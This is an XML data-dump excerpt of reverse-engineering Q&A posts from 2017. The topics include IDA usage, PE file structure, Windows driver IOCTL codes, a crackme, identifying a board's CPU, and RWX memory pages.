  <row Id="15275" PostTypeId="1" AcceptedAnswerId="15280" CreationDate="2017-05-04T03:45:23.907" Score="0" ViewCount="540" Body="&lt;p&gt;I am reverse engineering a program using IDA Pro Free 5. In one of the functions, the compiler has reused the stack space of one of the passed in arguments as a local variable of a different type, but the same size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to rename a stack variable part of the way through a function? At the moment, I'm using a manual operand, but its not optimal.&lt;/p&gt;&#xA;" OwnerUserId="16995" LastActivityDate="2017-05-04T07:25:22.900" Title="In IDA 5, is there a way to rename a stack variable mid-function" Tags="|ida|disassembly|stack-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15277" PostTypeId="1" CreationDate="2017-05-04T05:41:55.663" Score="1" ViewCount="478" Body="&lt;p&gt;I recently bought a Sharp EL-9950 graphing calculator (which is considerably rare compared to the other brands). I have a copy of its OS upgrade file, which is essentially ROM dump for the new version (or at least I think it is).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched everywhere, but I couldn't find any info about the hardware of this calculator, and it was too expensive for me to try opening its case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about reverse engineering the ROM dump (exactly 1MB) to determine at least which instruction set it uses (so I can format it with my own ROM someday, I guess?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="20080" LastActivityDate="2017-05-04T13:24:33.860" Title="Given a ROM dump file, how do I reverse engineer it to determine the CPU it runs on?" Tags="|rom|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15279" PostTypeId="1" CreationDate="2017-05-04T07:20:54.550" Score="0" ViewCount="1004" Body="&lt;p&gt;I've found what appears to be Base64 inside of a &lt;strong&gt;PE header resource (.rsrc)&lt;/strong&gt; which I've placed in &lt;a href=&quot;https://pastebin.com/04UjNGVB&quot; rel=&quot;nofollow noreferrer&quot;&gt;this Gist&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I use a Base64 decoder, I end up getting a lot of binary data which appears as &quot;gibberish&quot; in the Base64 decoder web app. This means that either it is not Base64, it is modified Base64 OR it is deciphered to binary data (an embedded PE file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure how to take that binary data and parse it into its own separate PE file. I'm only familiar with Base64 when it comes to ASCII text. I've tried copying the data and pasting into a hex editor like HxD and WinHex but neither have allowed me to paste the decoded data in.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="2147" LastEditDate="2017-05-04T09:58:09.290" LastActivityDate="2017-05-04T09:59:28.310" Title="What steps are needed to decode a Base64 binary?" Tags="|pe|encodings|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15280" PostTypeId="2" ParentId="15275" CreationDate="2017-05-04T07:25:22.900" Score="2" Body="&lt;p&gt;As far as I know this is not even possible in IDA 6.9 yet, and definitely not possible in IDA 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When encountering such cases (which are quite frequent with certain compilers), I often find it the easiest to give such variables a name that denotes them as having two different purposes shared on the same stack address.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-05-04T07:25:22.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15281" PostTypeId="2" ParentId="15279" CreationDate="2017-05-04T09:37:17.040" Score="2" Body="&lt;p&gt;This is indeed base64 encoded string, it cannot possibly be so long and randomly follow the base64 acceptable characters and &lt;code&gt;=&lt;/code&gt; padding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to figure out how that base64 decoded data is used is obviously to reverse engineer the code in charge of reading that data. There are only a handful of resource reading APIs which are most likely used to get a mapping of the resource by the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After running base64 decoding on the entire string, this does look like a compress/encrypted message with an header. I couldn't recognize the header itself, so your best bet is indeed to reverse engineer the code processing the resource.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also please not this does not necessarily mean there's a PE file hidden there, it could just as well be a configuration (either enrypted, compressed or both), an inject-able piece of code, or an actual resource such as an HTML or JPG.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-05-04T09:59:28.310" LastActivityDate="2017-05-04T09:59:28.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15282" PostTypeId="2" ParentId="15277" CreationDate="2017-05-04T12:41:25.557" Score="4" Body="&lt;p&gt;My low-tech approach has been to build a list of n-grams (n=3,4,5,6) and look for the most common sequences in a corpus of samples for different architectures (if you happen to have one). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes even searching on Google for the hex byte sequence can give some hints.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-05-04T13:24:33.860" LastActivityDate="2017-05-04T13:24:33.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15283" PostTypeId="1" AcceptedAnswerId="15286" CreationDate="2017-05-04T18:52:34.850" Score="3" ViewCount="3271" Body="&lt;p&gt;Recently I tried to obtain OICTL Codes from the iscflashx64.sys driver and I have found it in DispatchDeviceControl function. After driver being installed and have started with SCM it displayed in WinObj. when I invoke DeviceIOControl  function with this codes in my user-land app it returns &quot;1&quot; error code. that means my codes is invalid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is IDA view capture and userapp code&lt;a href=&quot;https://i.stack.imgur.com/ejCBV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ejCBV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     rdx, cs:10000h&#xA;movzx   eax, ds:(byte_1C9C8 - 10000h)[rdx+rsi]&#xA;mov     ecx, ds:(off_1C988 - 10000h)[rdx+rax*4]&#xA;add     rcx, rdx&#xA;jmp     rcx             ; switch jump&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And function call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     rcx, [rsp+188h+PhysicalAddress]&#xA;call    MSR_read1&#xA;jmp     short loc_1C2BC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in userapp:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define IOCTL_READ_MSR\&#xA; CTL_CODE(FILE_DEVICE_UNKNOWN, 0x2237134, METHOD_BUFFERED, FILE_ANY_ACCESS)&#xA;...&#xA;&#xA;    bool msr_get(unsigned int reg, unsigned long long *val)&#xA;  {&#xA;    if (hHandle == NULL)&#xA;    {&#xA;        printf(&quot;## ERROR: Not initialized\n&quot;);&#xA;        return false;&#xA;    }&#xA;&#xA;    DWORD dwBytes = 0;&#xA;    UCHAR Request[0x100];&#xA;    ZeroMemory(&amp;amp;Request, sizeof(Request));&#xA;&#xA;    *(PDWORD)(Request + 0x08) = reg;&#xA;&#xA;    // send request to the driver&#xA;    if (DeviceIoControl(&#xA;        hHandle, IOCTL_READ_MSR,&#xA;        &amp;amp;Request, sizeof(Request), &amp;amp;Request, sizeof(Request),&#xA;        &amp;amp;dwBytes, NULL))&#xA;    {&#xA;        LARGE_INTEGER Val;&#xA;&#xA;        Val.HighPart = *(PDWORD)(Request + 0x0c);&#xA;        Val.LowPart = *(PDWORD)(Request + 0x00);&#xA;&#xA;        *val = Val.QuadPart;&#xA;&#xA;        return true;&#xA;    }&#xA;    else&#xA;    {&#xA;        printf(&quot;## ERROR DeviceIoControl() %d\n&quot;, GetLastError());&#xA;    }&#xA;&#xA;    return false;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After googling I found &lt;a href=&quot;https://www.reddit.com/r/ReverseEngineering/comments/1sk43l/question_retrieving_ioctl_codes_from_a_driver/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this answer&lt;/a&gt;. So this step by step solution does`t work for me. May be problem in switch case tables, but IDA get comments that seems like a codes like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_1C55A:&#xA;sub     esi, 222406h&#xA;jz      loc_1C6E7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is going wrong? Will be very grateful for any suggestions or just a common techniques in using IOCTL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Sorry for my English.&lt;/p&gt;&#xA;" OwnerUserId="20086" LastActivityDate="2019-02-18T09:18:35.470" Title="IOCTL Code for Windows driver" Tags="|ida|windows|kernel-mode|driver|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15284" PostTypeId="1" CreationDate="2017-05-04T19:36:28.393" Score="1" ViewCount="260" Body="&lt;p&gt;I am trying to do some blackbox analysis on a iOS ARMv7 binary. It would be interesting to apply the LLVM analysis tools to such a binary, but I don't have source code. Is there a an existing lifter tool which could lift ARMv7 bytecode to LLVM IR? &lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2017-06-03T21:19:26.997" Title="Is there an existing method to lift ARMv7 [iPhone] binaries to LLVM IR?" Tags="|llvm|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15286" PostTypeId="2" ParentId="15283" CreationDate="2017-05-04T21:21:08.700" Score="3" Body="&lt;p&gt;IDA comments list case values in decimal, so you need to either use &lt;code&gt;2237134&lt;/code&gt; as decimal in your code, or convert it to hex (i.e. &lt;code&gt;0x2222CE&lt;/code&gt;) first. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional issue is that the value 0x2222CE is the &lt;em&gt;full&lt;/em&gt; IOCTL code while the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff543023(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;CTL_CODE&lt;/code&gt; macro&lt;/a&gt; accepts a function value (bits 2:12 of the code).&#xA;Using &lt;a href=&quot;https://www.osronline.com/article.cfm?article=229&quot; rel=&quot;nofollow noreferrer&quot;&gt;Online IOCTL decoder&lt;/a&gt;, we can see that the function is 0x8b3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can use either&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define IOCTL_READ_MSR\&#xA; CTL_CODE(FILE_DEVICE_UNKNOWN, 0x8b3, METHOD_OUT_DIRECT, FILE_ANY_ACCESS)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define IOCTL_READ_MSR 0x2222CE &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(both should result in the same value).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-05-04T21:21:08.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15287" PostTypeId="1" CreationDate="2017-05-04T22:18:41.753" Score="1" ViewCount="173" Body="&lt;p&gt;So I'm just starting to learn reverse engineering and binary exploitation and going through the RPI course where the first lab set is drawn from the IOLI crackmes available on &lt;a href=&quot;https://github.com/Maijin/Workshop2015/tree/master/IOLI-crackme/bin-linux&quot; rel=&quot;nofollow noreferrer&quot;&gt;Github&lt;/a&gt;. I could post all of the dissassembly here if it would help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on number 5 and I'm confused on one aspect. I understand how to get the solution and get the password ok, but there seems to be a length on the input that I can't trace back to any of the assembly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The numbers can add up to more than the 10h and the last one can be odd, but once the input is passed 9 characters, it's not accepted.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nHHbl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nHHbl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using gdb and ida and whatever other tools seem helpful, but the specific tools don't matter much to me. Post an explanation with a radare output if you want. &lt;/p&gt;&#xA;" OwnerUserId="20088" LastActivityDate="2017-06-08T14:10:51.043" Title="Length requirement on IOLI crackme input" Tags="|x86|linux|crackme|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15290" PostTypeId="1" AcceptedAnswerId="15299" CreationDate="2017-05-05T04:47:26.457" Score="1" ViewCount="1986" Body="&lt;p&gt;I'm doing some research on corrupted PE files and I wanted to hear your thoughts and experiences with them. I've been processing a ton of samples which are essentially corrupted Windows Portable Executable files. They will not run on XP or Windows 7 and they won't run on 32 bit or 64 bit. If I open them in a hex editor, it's very clear that they are missing entire header data structures, the MZ and surrounding data is missing or altered, etc... When I attempt to execute these .exe files, I get errors along the lines of &quot;This is not a valid Windows executable&quot; and/or &quot;This executable cannot be run on this system, it may be designed for 64 bit and you are on a 32 bit or vice versa.&quot; Not verbatim but that's the general idea.&#xA;Basically, I cannot get these to run or operate at all. So the question is, why do they exist? Are they files which could possibly come packaged with other files that when run, repair these files before loading them into memory as a sort of &quot;obfuscated library file?&quot; I feel like this is an unlikely scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is, perhaps these files are made for a much older version of Windows? I've done some deep study of the PE file format though and am not aware of any previous PE format with altered headers, etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EXAMPLE:&lt;/strong&gt;&#xA;See first a regular PE file that runs fine:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3DObK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3DObK.png&quot; alt=&quot;Functional PE File&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now see the above compared with a specimen file:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/BMtBO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BMtBO.png&quot; alt=&quot;Good PE, followed by bad PE&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I was able to locate &quot;PE&quot; much further down then normal, amongst a bunch of binary data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oi7zH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oi7zH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all just one example but this is the kind of thing I'm talking about.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-05-05T16:33:24.197" Title="Can corrupted PE files be executed in some versions of Windows but not others?" Tags="|windows|pe|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15291" PostTypeId="2" ParentId="15268" CreationDate="2017-05-05T06:49:23.980" Score="0" Body="&lt;p&gt;Eval version - &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_demo.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/download_demo.shtml&lt;/a&gt; you are probably not using Windows.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The MS Windows version contains a demo version of the ARM/Windows CE&#xA;  debugger.  Please see our ARM/Windows CE debugging tutorial&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Freeware - no luck &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2017-05-05T06:49:23.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15292" PostTypeId="1" CreationDate="2017-05-05T07:34:13.507" Score="1" ViewCount="1882" Body="&lt;p&gt;in the snippet below of x86 assembly code that was produced by Visual Studio 2017, I see the instruction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shl         eax,0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the purpose of this instruction, as It should act as NOP as I understand it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(int argc, char ** argv){&#xA;011C1340  push        ebp  &#xA;011C1341  mov         ebp,esp  &#xA;011C1343  push        ecx  &#xA;    int a;&#xA;    a = atoi(argv[1]);&#xA;011C1344  mov         eax,4  &#xA;011C1349  shl         eax,0  &#xA;011C134C  mov         ecx,dword ptr [argv]  &#xA;011C134F  mov         edx,dword ptr [ecx+eax]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35" LastActivityDate="2017-05-05T08:15:16.063" Title="SHL with 0 operand" Tags="|assembly|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15293" PostTypeId="2" ParentId="15270" CreationDate="2017-05-05T08:05:20.913" Score="0" Body="&lt;p&gt;It seems some .NET native binaries, e.g. &lt;code&gt;System.ni.dll&lt;/code&gt; &lt;a href=&quot;https://stackoverflow.com/questions/8448065/risks-of-rwx-memory-pages&quot;&gt;have an RWX &lt;code&gt;.xdata&lt;/code&gt; section&lt;/a&gt;, although I believe they're not generated by a normal compilation workflow (they're produced by &lt;code&gt;ngen&lt;/code&gt; AFAIK) so they're probably not covered by the current version of the question.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-05-05T08:05:20.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15294" PostTypeId="2" ParentId="15292" CreationDate="2017-05-05T08:15:16.063" Score="2" Body="&lt;p&gt;It seems to be an unoptimized version of the array access calculation. When optimization is not enabled, you may see all kinds of redundant/useless calculations which are eliminated with optimization. The compiler probably did something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delta = elemsize*index&#xA;elemsize = 4, index=1&#xA;delta = 4*1 -&amp;gt; 4*(1 shl 0) -&amp;gt; 4 shl 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which was then faithfully reproduced by codegen in assembly.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-05-05T08:15:16.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15297" PostTypeId="2" ParentId="15290" CreationDate="2017-05-05T12:53:03.640" Score="1" Body="&lt;p&gt;These are probably either files corrupted during their copy over the network or storage (this does happen rarely). They may be files built for certain versions of Windows and therefore inoperable with newer versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Window's PE loader change between major windows versions, and such documented and undocumented limitations might apply to executing a PE file, especially if the PE has some format edge cases, which might be the case if done intentionally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the source, for example, different hypotheses might arise: for example, the malware industry has multiple feed providers and some of them tend to label corrupt PE files as malware, or extract PE resources from different places (an exploit pack, a dropper) with those corruptions.&#xA;It might be that the PE was damaged in memory and a dropper was about to fix and drop, but some kind of automatic unpacking environment dumped the corrupt PE from memory before the dropper had the chance to fix that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a broad question, and without any specifics it's hard to tell why those PE files you're analyzing are corrupt, why they exist and if they can be fixed (or if you'll want them fixed)&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-05-05T12:53:03.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15298" PostTypeId="1" AcceptedAnswerId="15401" CreationDate="2017-05-05T15:55:51.440" Score="4" ViewCount="662" Body="&lt;p&gt;I have some difficult to find CPU from a board.&#xA;First I though that CPU/SOC was this one :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2iNWA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2iNWA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I know (about CPU) is that's an ARM core little-endian (because I begin reverse firmware in IDA) but I lack of information on it. The hardware is a 8 years old GPS with 800x480 tft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to Igor link document from Samsung,  codification of K4X2G303PC - XGC6 means :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;K : Memory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4 : DRAM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X : Mobile DDR SDRAM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2G : 2G, 8K/64ms (Density,Refresh)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;30 : x32 (2CS, 2CKE) (Organization)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 : 4Bank &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P : LVTTL, 1.8V, 1.8V (Interface, VDD, VDDQ)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;C (Generation)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;X : POP (Lead-Free, DDP, Halogen-Free)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;G : Extended, Low, PASR &amp;amp; TCSR (Temp, Power)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C6 : 6ns@CL3 (Speed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the whole board (warning EMMC is unsolded)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SwzKG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SwzKG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/aHT3r.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aHT3r.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here same hard, but component is another reference from Micron Technology (picture is 180° rotated)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Yh2VG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yh2VG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the backside&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/coosM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/coosM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X16V554IL is quad UART (&lt;a href=&quot;https://www.exar.com/content/document.ashx?id=505&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.exar.com/content/document.ashx?id=505&lt;/a&gt;) I checked GND pinout it is corresponding&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if Samsung K4x2G303PC is not SOC/CPU where is SOC/CPU ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is there a Crystal near K4x2G303PC  ? (The other Crytal is for XR16V)&#xA;Can Latticle CPLD LC4064 have an arm software core ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;REgards ;)&lt;/p&gt;&#xA;" OwnerUserId="19723" LastEditorUserId="19723" LastEditDate="2017-05-08T08:27:45.187" LastActivityDate="2018-09-05T12:28:37.770" Title="Help finding CPU/SOC on a board" Tags="|arm|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15299" PostTypeId="2" ParentId="15290" CreationDate="2017-05-05T16:33:24.197" Score="1" Body="&lt;p&gt;The PE format is actually backwards compatible with the old DOS EXE format (also called MZ-exe). That's why it has to start with the MZ signature. It's perfectly possible to have executables which have a complete DOS executable in the compatibility part (also called &quot;stub&quot;) and Win32 one in the PE part (e.g. Windows 95 reg.exe was one such - it could run both in Windows and in DOS). &#xA;The offset to the PE header, by the standard, is the dword value at offset 0x3C in the file. in your screenshot the value seems to be 0x9C0000. if there is no PE signature at 0x9C0000 (or it's outside of the file), it means the file is not a PE, but either some other kind of MZ extension format (e.g. NE for Win16 or OS/2) or simply a plain DOS file. You can try running it in DOSBox or another DOS environment, or use a disassembler which handles DOS-MZ (e.g. IDA)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-05-05T16:33:24.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15300" PostTypeId="1" CreationDate="2017-05-05T17:24:14.817" Score="4" ViewCount="251" Body="&lt;p&gt;I've been reverse-engineering Windows PE files and I've discovered this pattern used quite often, making it a little more difficult to follow API calls. First, I'll go to the file's imports and then I will locate a specific import, such as &lt;strong&gt;WSAStartup&lt;/strong&gt;, inside of the .idata section of the PE file pictured here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZaHCs.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZaHCs.png&quot; alt=&quot;idata section&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon hitting the &lt;code&gt;x&lt;/code&gt; or &lt;code&gt;Ctrl-x&lt;/code&gt; keys to cross-reference where this function is called, it is only &quot;called&quot; in one spot recognized by IDA, which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3FhEt.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3FhEt.png&quot; alt=&quot;Jumps to functions&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question here is, &lt;em&gt;what is the above-pictured structure/technique?&lt;/em&gt; It directly contrasts the &quot;typical&quot; setup that I come across which is simply going to .idata, cross-referencing a function, and having it show me areas &lt;em&gt;directly called in code&lt;/em&gt;. There are also no direct references to the memory addresses in which each of these jumps reside, such as 14658844h.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to add one more figure here of a different file but similar sighting, in which case, this instance appears on the control-flow graph and is very obvious by the &quot;orphaned&quot; jmps you can see just above the red arrow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SrwIC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SrwIC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My hypothesis here is that somehow these memory addresses (function ptrs) pictured in Figure 2 where the jumps reside, are somehow indirectly referenced in the code using some offsets to help mask the usage of these API functions. Is this a compiler feature or is this a manual doing?&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="18507" LastEditDate="2017-05-05T17:49:24.843" LastActivityDate="2020-02-06T11:01:30.320" Title="What is the pictured x86 technique/area called?" Tags="|ida|assembly|x86|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15302" PostTypeId="2" ParentId="15298" CreationDate="2017-05-05T23:01:27.290" Score="3" Body="&lt;p&gt;Are you sure it's a SoC and that is the IC the firmware came from?  Results on &lt;a href=&quot;http://www.asap-memory.com/memory-parts/samsung/page23/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google&lt;/a&gt; suggest that is a DRAM chip.  Looking at &lt;a href=&quot;http://www.samsung.com/semiconductor/products/dram/mobile-dram/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Samsung part numbers&lt;/a&gt; show that most of the memory chips (mobile and otherwise) seem to start with K as well. &lt;/p&gt;&#xA;" OwnerUserId="20102" LastActivityDate="2017-05-05T23:01:27.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15303" PostTypeId="2" ParentId="15270" CreationDate="2017-05-05T23:15:04.913" Score="1" Body="&lt;p&gt;Just-In-Time Compilation support could be one reason for pages to be legitimately marked RWX.  In iOS MobileSafari is one of a small number of Apple apps that has a &quot;dynamic codesigning&quot; entitlement which allows for the RWX pages to be mapped.  Despite the potential danger, JavaScript performance is too important to not have these pages.  This makes Safari a desirable target for exploits.  For more information on a recent iOS exploit that attacked Safari for its RWX pages read the &lt;a href=&quot;https://info.lookout.com/rs/051-ESQ-475/images/pegasus-exploits-technical-details.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pegasus Technical Report&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20102" LastActivityDate="2017-05-05T23:15:04.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
